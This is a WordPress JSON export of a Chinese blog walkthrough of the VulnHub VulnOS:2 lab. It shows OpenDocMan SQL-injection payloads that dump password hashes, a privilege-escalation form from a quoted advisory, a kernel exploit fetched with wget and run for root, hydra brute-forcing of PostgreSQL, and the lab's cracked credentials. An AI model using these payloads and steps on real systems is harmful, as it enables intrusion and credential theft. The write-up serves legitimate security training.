{"id":353,"date":"2024-02-05T03:39:49","date_gmt":"2024-02-04T19:39:49","guid":{"rendered":"http:\/\/162.14.82.114\/?p=353"},"modified":"2024-02-05T03:44:26","modified_gmt":"2024-02-04T19:44:26","slug":"vulnhub-vulnos2","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/353\/02\/05\/2024\/","title":{"rendered":"Vulnhub–VULNOS:2"},"content":{"rendered":"

VULNOS: 2<\/h1>\n

\"image-20240202232815010\"<\/div><\/p>\n

\u4f7f\u7528virtualbox<\/code>\u53cc\u51fbVulnOSv2.vbox<\/code>\u6253\u5f00\u9776\u573a\uff0c\u542f\u52a8\u663e\u793a\u6709\u9519\u8bef\uff0c\u8fd9\u662f\u5f88\u6b63\u5e38\u7684\uff0c\u8c03\u6574\u4e3anat\u8bd5\u8bd5\uff1a<\/p>\n

\"image-20240204234543209\"<\/div><\/p>\n

\u6253\u5f00\u5012\u662f\u6b63\u5e38\u6253\u5f00\u4e86\uff0c\u4f46\u662f\u521a\u521a\u52a0\u8f7d\u7684\u65f6\u5019\u597d\u50cf\u770b\u5230\u6709\u51e0\u4e2a\u62a5\u9519\u3002\u3002\u3002\u3002<\/p>\n

\u5c1d\u8bd5\u626b\u4e00\u4e0b\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u626b\u5230\u5427\uff1a<\/p>\n

\"image-20240204234701649\"<\/div><\/p>\n

\u65e0\u6cd5\u627e\u5230IP\u89e3\u51b3\u529e\u6cd5<\/h2>\n

\u679c\u7136\u3002\u3002\u3002\u3002\u3002\u5c1d\u8bd5\u4fee\u6539\u4e00\u4e0b\u914d\u7f6e\u6587\u4ef6\uff0c\u4f46\u662f\u914d\u7f6e\u6587\u4ef6\u4e0a\u9762\u5199\u7740\u4e0d\u8981\u7f16\u8f91\uff0c\u5c1d\u8bd5\u6539\u6210vmdk<\/code>\u6587\u4ef6\u5427\uff1a<\/p>\n

VBoxManage.exe clonehd E:\\vulnhub\\VulnOSv2\\VulnOSv2.vdi E:\\vulnhub\\VulnOSv2\\VulnOSv2.vmdk --format VMDK\n# 0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%\n# Clone medium created in format 'VMDK'. UUID: 562b1927-9aec-4be4-8ad4-5701583c2cc8\nvmware-vdiskmanager.exe -r "E:\\vulnhub\\VulnOSv2\\VulnOSv2.vmdk" -t 0 "E:\\vulnhub\\VulnOSv2\\VulnOSv2.com.vmdk"\n# Creating disk 'E:\\vulnhub\\VulnOSv2\\VulnOSv2.com.vmdk'\n# Convert: 100% done.\n# Virtual disk conversion successful.<\/code><\/pre>\n
\u521b\u5efa\u4e00\u4e2a\u865a\u62df\u673a\u6253\u5f00\u521b\u5efa\u597d\u7684\u786c\u76d8\u8bd5\u8bd5\uff1a<\/p>\n
\"image-20240205003709541\"<\/div><\/p>\n
\u53ef\u4ee5\u626b\u5230\u4e86\uff0c\u6253\u5f00\u67e5\u770b\u4e00\u4e0b\u6b63\u4e0d\u6b63\u786e\uff0c<\/p>\n
\"image-20240205003910159\"<\/div><\/p>\n
\u4e00\u5207\u6b63\u5e38\uff0c\u4e0b\u9762\u53ef\u4ee5\u5f00\u59cb\u8fdb\u884c\u516c\u9e21\u8fa3\uff01<\/p>\n
\u4fe1\u606f\u641c\u96c6<\/h2>\n
\u7aef\u53e3\u626b\u63cf<\/h3>\n
nmap -sV -p- -A  192.168.244.184\n# 22\/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)\n# | ssh-hostkey: \n# |   1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)\n# |   2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)\n# |   256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)\n# |_  256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)\n# 80\/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))\n# |_http-title: VulnOSv2\n# |_http-server-header: Apache\/2.4.7 (Ubuntu)\n# 6667\/tcp open  irc     ngircd\n# Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u8fd9\u91cc\u5f00\u542f\u4e86ssh\u670d\u52a1\uff0c\u7b49\u4e0b\u4e0d\u884c\u7684\u8bdd\u53ef\u4ee5\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\u3002<\/p>\n
\u9010\u4e00\u67e5\u770b\u4e00\u4e0b\u5404\u4e2a\u7aef\u53e3\uff0c\u6ca1\u53d1\u73b0\u5565\u4e1c\u897f\uff0c\u5012\u662f\u9875\u9762\u63d0\u793a\u4e86\u4e00\u4e2awebsite<\/code>\uff0c\u6e90\u4ee3\u7801\u4e5f\u6ca1\u53d1\u73b0\u5565\uff0c\u6709\u4e00\u4e2a\u6682\u65f6\u4e0d\u77e5\u9053\u7684\u7591\u4f3c\u6cc4\u9732\u7684\u4fe1\u606f\uff0c\u70b9\u8fdbwebsite<\/code>\u770b\u770b\uff1a<\/p>\n
# view-source:http:\/\/192.168.244.184\/\n<!DOCTYPE html PUBLIC "-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN" "http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd"><\/code><\/pre>\n
\"image-20240205011457063\"<\/div><\/p>\n
\u67e5\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\uff0c\u6ca1\u53d1\u73b0\u5565\u6709\u7528\u4fe1\u606f\uff0c\u968f\u4fbf\u70b9\u4e00\u4e0b\uff0c\u770b\u770b\u6709\u6ca1\u6709\u4e1c\u897f\uff1a<\/p>\n
\"image-20240205011640139\"<\/div><\/p>\n
\u8fd9\u91cc\u770b\u4e0a\u53bb\u5565\u90fd\u6ca1\u6709\uff0c\u68c0\u67e5\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240205011713754\"<\/div><\/p>\n
\u597d\u5bb6\u4f19\uff0c\u9690\u85cf\u8d77\u6765\u4e86\u3002\u3002\u3002\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n
\"image-20240205011916163\"<\/div><\/p>\n
\u6211\u4eec\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\/jabcd0cs\/<\/code>\uff1a<\/p>\n
\"image-20240205011957355\"<\/div><\/p>\n
\u63d2\u4ef6\u4fe1\u606f<\/h3>\n
\u4f7f\u7528\u6d4f\u89c8\u5668\u63d2\u4ef6wappalyzer<\/code>\u67e5\u770b\u76f8\u5173\u7ec4\u4ef6\u4fe1\u606f\uff1a<\/p>\n
\"image-20240205020450249\"<\/div><\/p>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u8fdb\u6765\u4e86\uff01\u662f\u4e2a\u767b\u5f55\u754c\u9762\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u4e07\u80fd\u5bc6\u7801\uff1a<\/p>\n
\"image-20240205012102269\"<\/div><\/p>\n
\u6ce8\u610f\u5230\u4e0b\u9762\u6709\u4e2a\u6a21\u677f\u7684\u7248\u672c\u53f7\uff0c\u611f\u89c9\u6709\u70b9\u8001\uff0c\u5c1d\u8bd5\u8fdb\u884c\u6f0f\u6d1e\u68c0\u7d22\uff1a<\/p>\n
\"image-20240205012603612\"<\/div><\/p>\n
\u770b\u4e00\u4e0b\u6f0f\u6d1e\u5185\u5bb9\u662f\u5565\uff0c\u8fd9\u91cc\u53ea\u622a\u53d6\u90e8\u5206\u6709\u7528\u4fe1\u606f\u4e86\uff1a<\/p>\n
Advisory ID: HTB23202\nProduct: OpenDocMan\nVendor: Free Document Management Software\nVulnerable Version(s): 1.2.7 and probably prior\nTested Version: 1.2.7\nAdvisory Publication: February 12, 2014 [without technical details]\nVendor Notification: February 12, 2014\nVendor Patch: February 24, 2014\nPublic Disclosure: March 5, 2014\nVulnerability Type: SQL Injection [CWE-89], Improper Access Control [CWE-284]\nCVE References: CVE-2014-1945, CVE-2014-1946\nRisk Level: High\nCVSSv2 Base Scores: 7.5 (AV:N\/AC:L\/Au:N\/C:P\/I:P\/A:P), 6.5 (AV:N\/AC:L\/Au:S\/C:P\/I:P\/A:P)\nSolution Status: Fixed by Vendor\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https:\/\/www.htbridge.com\/advisory\/ )\n\n------------------------------------------------------------------------\nAdvisory Details:\nHigh-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenDocMan, which can be exploited to perform SQL Injection and gain administrative access to the application.\n1) SQL Injection in OpenDocMan: CVE-2014-1945\nThe vulnerability exists due to insufficient validation of "add_value" HTTP GET parameter in "\/ajax_udf.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.\nThe exploitation example below displays version of the MySQL server:\nhttp:\/\/[host]\/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v\nersion%28%29,3,4,5,6,7,8,9\n\n2) Improper Access Control in OpenDocMan: CVE-2014-1946\nThe vulnerability exists due to insufficient validation of allowed action in "\/signup.php" script when updating user\u00e2??s profile. A remote authenticated attacker can assign administrative privileges to the current account and gain complete control over the application.\n\nThe exploitation example below assigns administrative privileges for the current account:\n<form action="http:\/\/[host]\/signup.php" method="post" name="main">\n<input type="hidden" name="updateuser" value="1">\n<input type="hidden" name="admin" value="1">\n<input type="hidden" name="id" value="[USER_ID]">\n<input type="submit" name="login" value="Run">\n<\/form>\n<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u6709\u4fe9\u6f0f\u6d1e\u6709\u673a\u4f1a\u5229\u7528\u4e00\u4e0b\uff0c\u7b2c\u4e00\u4e2a\u662fsql\u6ce8\u5165\u6f0f\u6d1e\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u8fd9\u4e2apayload\uff1a<\/p>\n
\"image-20240205013925779\"<\/div><\/p>\n
\u83b7\u53d6\u5230\u4e86\u4fe1\u606f\uff01\u4f46\u662f\u8fd8\u4e0d\u591f\uff0c\u5c1d\u8bd5\u5bf9payload\u8fdb\u884c\u4fee\u6539\uff0c\u83b7\u53d6\u76f8\u5173\u7684\u5bc6\u7801\uff1a<\/p>\n
\/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,password,3,4,5,6,7,8,9 from odm_user<\/code><\/pre>\n
\"image-20240205015224594\"<\/div><\/p>\n
\"image-20240205015252209\"<\/div><\/p>\n
\u67e5\u770b\u4e00\u4e0b\u52a0\u5bc6\u65b9\u5f0f\uff1a<\/p>\n
hash-identifier b78aae356709f8c31118ea613980954b<\/code><\/pre>\n
\"image-20240205015456898\"<\/div><\/p>\n
\u53bb\u89e3\u5bc6<\/a>\u4e00\u4e0b\u8fd9\u4fe9\uff1a<\/p>\n
webmin: b78aae356709f8c31118ea613980954b  -->  webmin1980\nguest:  084e0343a0486ff05530df6c705c8bb4  -->  guest<\/code><\/pre>\n
\u5c1d\u8bd5 ssh \u767b\u5f55\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240205020244918\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u7cfb\u7edf\u5185\u6838\u63d0\u6743<\/h3>\n
uname -a\n# Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU\/Linux\nlsb_release -a\n# No LSB modules are available.\n# Distributor ID: Ubuntu\n# Description:    Ubuntu 14.04.4 LTS\n# Release:        14.04\n# Codename:       trusty<\/code><\/pre>\n
\u641c\u7d22\u4e00\u4e0b\u76f8\u5173\u6f0f\u6d1e\uff1a<\/p>\n
\"image-20240205020857068\"<\/div><\/p>\n
\u627e\u5230\u597d\u51e0\u4e2a\u672c\u5730\u63d0\u6743\u6f0f\u6d1e\uff0c\u7248\u672c\u548c\u5176\u4ed6\u4fe1\u606f\u90fd\u6bd4\u8f83\u7b26\u5408\uff0c\u4e00\u4e2a\u4e00\u4e2a\u8bd5\uff1a<\/p>\n
\u00d7 31347.c
\n\u221a 37292.c<\/p>\n
\u8fd0\u6c14\u4e0d\u6233\uff01\uff01\uff01<\/p>\n
\"image-20240205022612638\"<\/div><\/p>\n
# Client\npython3 -m http.server 8888\n# Server\nwget http:\/\/192.168.244.133:8888\/37292.c\ngcc 37292.c\nchmod +x a.out\n.\/a.out\nls \/root\n# flag.txt\ncat \/root\/flag.txt\n# Hello and welcome.\n# You successfully compromised the company "JABC" and the server completely !!\n# Congratulations !!!\n# Hope you enjoyed it.\n\n# What do you think of A.I.?<\/code><\/pre>\n
\u83b7\u53d6\u5230 flag \u4e86\uff01\uff01\uff01<\/p>\n
\u989d\u5916\u6536\u83b7<\/h2>\n
\u770b\u5230\u5e08\u5085\u7684\u8fd9\u4e2a\u505a\u6cd5<\/a>\uff0c\u8ba9\u6211\u624d\u77e5\u9053\u4f5c\u8005\u7559\u4e86\u5f69\u86cb\uff01\u539f\u65b9\u6cd5\u7684\u5e08\u5085wp<\/a>\u5728\u6b64\uff01<\/p>\n
\u62ff\u5230webmin<\/code>\u4ee5\u540e\uff0c\u67e5\u627e\u4e00\u4e0b\u6709\u65e0\u5176\u4ed6\u7528\u6237\uff1a<\/p>\n
\"image-20240205023624829\"<\/div><\/p>\n
\u4e0d\u8fc7\u9057\u61be\u7684\u662f\u8fd9\u4e2a\u76ee\u5f55\u662f\u8fdb\u4e0d\u53bb\u7684\uff0c\u7ee7\u7eed\u518dwebmin<\/code>\u5185\u67e5\u627e\u4e00\u4e0b\uff1a<\/p>\n
cd webmin\nls -la\n# total 596\n# drwxr-x--- 3 webmin webmin   4096 May  3  2016 .\n# drwxr-xr-x 4 root   root     4096 Apr 16  2016 ..\n# -rw------- 1 webmin webmin     85 May  4  2016 .bash_history\n# -rw-r--r-- 1 webmin webmin    220 Apr  9  2014 .bash_logout\n# -rw-r--r-- 1 webmin webmin   3637 Apr  9  2014 .bashrc\n# drwx------ 2 webmin webmin   4096 Apr 30  2016 .cache\n# -rw-rw-r-- 1 webmin webmin 579442 Apr 30  2016 post.tar.gz\n# -rw-r--r-- 1 webmin webmin    675 Apr  9  2014 .profile\ntar zxvf post.tar.gz<\/code><\/pre>\n
\u89e3\u538b\u7ed3\u679c\u4e2d\u542b\u6709\u5927\u91cf\u7684\u7206\u7834\u4fe1\u606f\uff1a<\/p>\n
\"image-20240205023918141\"<\/div><\/p>\n
\u731c\u6d4b\u8981\u4f7f\u7528hydra<\/code>\u8fdb\u884c\u7206\u7834\uff01<\/p>\n
\u5148\u67e5\u770b\u4e00\u4e0blinux<\/code>\u7cfb\u7edf\u76d1\u542c\uff1a<\/p>\n
netstat -ano\n# netstat: \u7528\u4e8e\u663e\u793a\u7f51\u7edc\u72b6\u6001\u7684\u547d\u4ee4\u3002\n# -t: \u4ec5\u663e\u793a TCP \u8fde\u63a5\u3002\n# -u: \u4ec5\u663e\u793a UDP \u8fde\u63a5\u3002\n# -l: \u4ec5\u663e\u793a\u76d1\u542c\u72b6\u6001\u7684\u5957\u63a5\u5b57\u3002\n# -n: \u4f7f\u7528\u6570\u5b57\u5f62\u5f0f\u663e\u793a\u5730\u5740\u548c\u7aef\u53e3\u53f7\u3002\n# -p: \u663e\u793a\u8fdb\u7a0b\u6807\u8bc6\u7b26\uff08PID\uff09\u548c\u8fdb\u7a0b\u540d\u79f0\u3002<\/code><\/pre>\n
\"image-20240205024927613\"<\/div><\/p>\n
\u4e0d\u77e5\u9053\u8fd9\u4e2apostgresql<\/code>\u662f\u4e2a\u5565\uff0c\u4f46\u662f\u548c\u4e4b\u524d\u7206\u7834\u7684\u5e94\u8be5\u6709\u5173\u7cfb\uff08\u6309\u7167\u5e08\u5085\u7684\u601d\u8def\u8d70\uff01\uff09<\/p>\n
\n
PostgreSQL\uff08\u901a\u5e38\u7b80\u79f0\u4e3a Postgres\uff09\u662f\u4e00\u4e2a\u5f00\u6e90\u7684\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\uff08RDBMS\uff09\uff0c\u5b83\u7684\u8bbe\u8ba1\u76ee\u6807\u662f\u63d0\u4f9b\u9ad8\u5ea6\u53ef\u6269\u5c55\u6027\u3001\u7075\u6d3b\u6027\u548c\u4e30\u5bcc\u7684\u529f\u80fd\u96c6\u3002PostgreSQL \u4e0d\u4ec5\u652f\u6301\u6807\u51c6\u7684 SQL \u67e5\u8be2\u8bed\u8a00\uff0c\u8fd8\u63d0\u4f9b\u4e86\u8bb8\u591a\u9ad8\u7ea7\u529f\u80fd\uff0c\u5982\u590d\u6742\u7684\u6570\u636e\u7c7b\u578b\u3001\u4e8b\u52a1\u3001\u89e6\u53d1\u5668\u3001\u89c6\u56fe\u3001\u5b58\u50a8\u8fc7\u7a0b\u7b49\u3002<\/p>\n<\/blockquote>\n
netstat -ant\nnetstat -at<\/code><\/pre>\n
\"image-20240205025739953\"<\/div><\/p>\n
\u9776\u673a\u672c\u5730\u7206\u7834<\/h3>\n
\u8fd9\u4e2a\u770b\u5230postgresql<\/code>\u662f\u4f7f\u7528\u76845431<\/code>\u7aef\u53e3\uff0c\u800c\u8fd9\u4e2a\u7aef\u53e3\u662f\u6ca1\u6709\u5f00\u653e\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u80fd\u672c\u5730\u8fdb\u884c\u7206\u7834\u5566\uff1a<\/p>\n
# \u672c\u5730\u4e0b\u8f7dhydra\uff0c\u521a\u521a\u90a3\u4e2apost\u91cc\u5c31\u662f\uff01\ncd post\n.\/configure\nmake\n# \u9a8c\u8bc1\u662f\u5426\u5b89\u88c5\u5b8c\u6210\nhydra --help<\/code><\/pre>\n
\u6211\u8fd9\u91cc\u53d1\u751f\u4e86\u62a5\u9519\uff1a<\/p>\n
\"image-20240205030228353\"<\/div><\/p>\n
\u5c1d\u8bd5\u79fb\u5230\/tmp<\/code>\u8fdb\u884c\u64cd\u4f5c\uff0c\u8fd8\u662f\u4e0d\u884c\u3002\u3002\u3002\u3002\u4e0d\u7ba1\u4ed6\u8bd5\u8bd5\uff1a<\/p>\n
\"image-20240205030902667\"<\/div><\/p>\n
\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n
# Client\ncd \/usr\/share\/metasploit-framework\/data\/wordlists\npython3 -m http.server 8888\n# Server\nwget http:\/\/192.168.244.133:8888\/postgres_default_pass.txt\n.\/hydra -L postgres_default_pass.txt -P postgres_default_pass.txt localhost postgres\n# Hydra v8.1 (c) 2014 by van Hauser\/THC - Please do not use in military or secret service organizations, or for illegal purposes.\n# Hydra (http:\/\/www.thc.org\/thc-hydra) starting at 2024-02-04 19:57:00\n# [DATA] max 16 tasks per 1 server, overall 64 tasks, 25 login tries (l:5\/p:5), ~0 tries per task\n# [DATA] attacking service postgres on port 5432\n# [5432][postgres] host: localhost   login: postgres   password: postgres\n# 1 of 1 target successfully completed, 1 valid password found\n# Hydra (http:\/\/www.thc.org\/thc-hydra) finished at 2024-02-04 19:57:01<\/code><\/pre>\n
\u7aef\u53e3\u8f6c\u53d1\u653b\u51fb\u7aef\u7206\u7834<\/h3>\n
\u8fd9\u662f\u539f\u672c\u4f5c\u8005\u7684\u505a\u6cd5\uff1a<\/p>\n
# \u672c\u5730kali-\u7ec8\u7aef1\nssh webmin@192.168.244.184 -L 5432:localhost:5432\n# \u53e6\u8d77\u4e00\u4e2a\u7ec8\u7aefkali-\u7ec8\u7aef2\nmsfconsole\nuse auxiliary\/scanner\/postgres\/postgres_login\nset RHOSTS 127.0.0.1 \nrun<\/code><\/pre>\n
\"image-20240205033655630\"<\/div><\/p>\n
\u8fd9\u79cd\u6784\u601d\u4e5f\u592a\u5de7\u5999\u4e86\uff0c\u771f\u725b\u903c\uff0c\u8bb0\u4e0b\u6765\u4e86\uff01\uff01<\/p>\n
\u767b\u5f55\u9ad8\u6743\u9650\u8d26\u53f7<\/h3>\n
\u6211\u4eec\u5c31\u83b7\u53d6\u4e86\u8d26\u53f7\u5bc6\u7801\uff1alogin: postgres<\/code>\u8fd8\u6709password: postgres<\/code>\u3002<\/p>\n
\u767b\u5f55postpresql<\/code>\uff0c\u83b7\u53d6\u8d26\u53f7\u5bc6\u7801\uff1a<\/p>\n
psql -h localhost -U postgres\n\\l\n#                                   List of databases\n#    Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   \n# -----------+----------+----------+-------------+-------------+-----------------------\n#  postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | \n#  system    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =CTc\/postgres        +\n#            |          |          |             |             | postgres=CTc\/postgres\n#  template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c\/postgres          +\n#            |          |          |             |             | postgres=CTc\/postgres\n#  template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c\/postgres          +\n#            |          |          |             |             | postgres=CTc\/postgres\n# (4 rows)\n\\c system\n# SSL connection (cipher: DHE-RSA-AES256-GCM-SHA384, bits: 256)\n# You are now connected to database "system" as user "postgres".\n\\dt\n#          List of relations\n#  Schema | Name  | Type  |  Owner   \n# --------+-------+-------+----------\n#  public | users | table | postgres\n# (1 row)\nselect * from users;\n#  ID |  username   |    password     \n# ----+-------------+-----------------\n#   1 | vulnosadmin | c4nuh4ckm3tw1c3<\/code><\/pre>\n
\u83b7\u53d6\u5230\u4e86username:vulnosadmin<\/code>\uff0c\u8fd8\u6709password:c4nuh4ckm3tw1c3<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n
ssh vulnosadmin@192.168.244.184<\/code><\/pre>\n
\"image-20240205032339022\"<\/div><\/p>\n
\u53ef\u4ee5\u770b\u5230\u4e00\u4e2ablender<\/code>\u6587\u4ef6\uff0c\u4e0b\u8f7d\u5230\u672c\u5730\uff0c\u6253\u5f00\u770b\u4e00\u4e0b\uff01<\/p>\n
# \u9776\u673a\nifconfig\npython -m SimpleHTTPServer 8888\n# kali\nwget http:\/\/192.168.244.184:8888\/r00t.blend<\/code><\/pre>\n
\"image-20240205032633876\"<\/div><\/p>\n
\u6211\u5bbf\u4e3b\u673a\u4e0a\u9762\u6709blender<\/code>\uff0c\u6211\u76f4\u63a5\u62ff\u5230\u5bbf\u4e3b\u673a\u4e0a\u770b\u4e86\u55f7\uff01<\/p>\n
\u6253\u5f00\u5565\u90fd\u6ca1\u6709\uff0c\u4f46\u662f\u53f3\u8fb9\u6709\u4e2atext<\/code>\uff0c\u8fd9\u662f\u6700\u7b80\u5355\u7684\u9690\u5199\u5566\uff01<\/p>\n
\"image-20240205032807984\"<\/div><\/p>\n
\u731c\u6d4b\u8fd9\u5c31\u662froot<\/code>\u7528\u6237\u7684\u5bc6\u7801\u5566\uff0c\u5c1d\u8bd5\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240205032949950\"<\/div><\/p>\n
ssh root@192.168.244.184\n# password:ab12fg\/\/drg<\/code><\/pre>\n
\"image-20240205033153881\"<\/div><\/p>\n
\u540c\u6837\u53ef\u4ee5\u83b7\u53d6flag\uff01\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
VULNOS: 2 \u4f7f\u7528virtualbox\u53cc\u51fbVulnOSv2.vbox\u6253\u5f00\u9776\u573a\uff0c\u542f\u52a8\u663e\u793a\u6709\u9519\u8bef\uff0c\u8fd9\u662f\u5f88\u6b63\u5e38 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-353","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/353","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=353"}],"version-history":[{"count":4,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/353\/revisions"}],"predecessor-version":[{"id":357,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/353\/revisions\/357"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=353"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=353"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=353"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}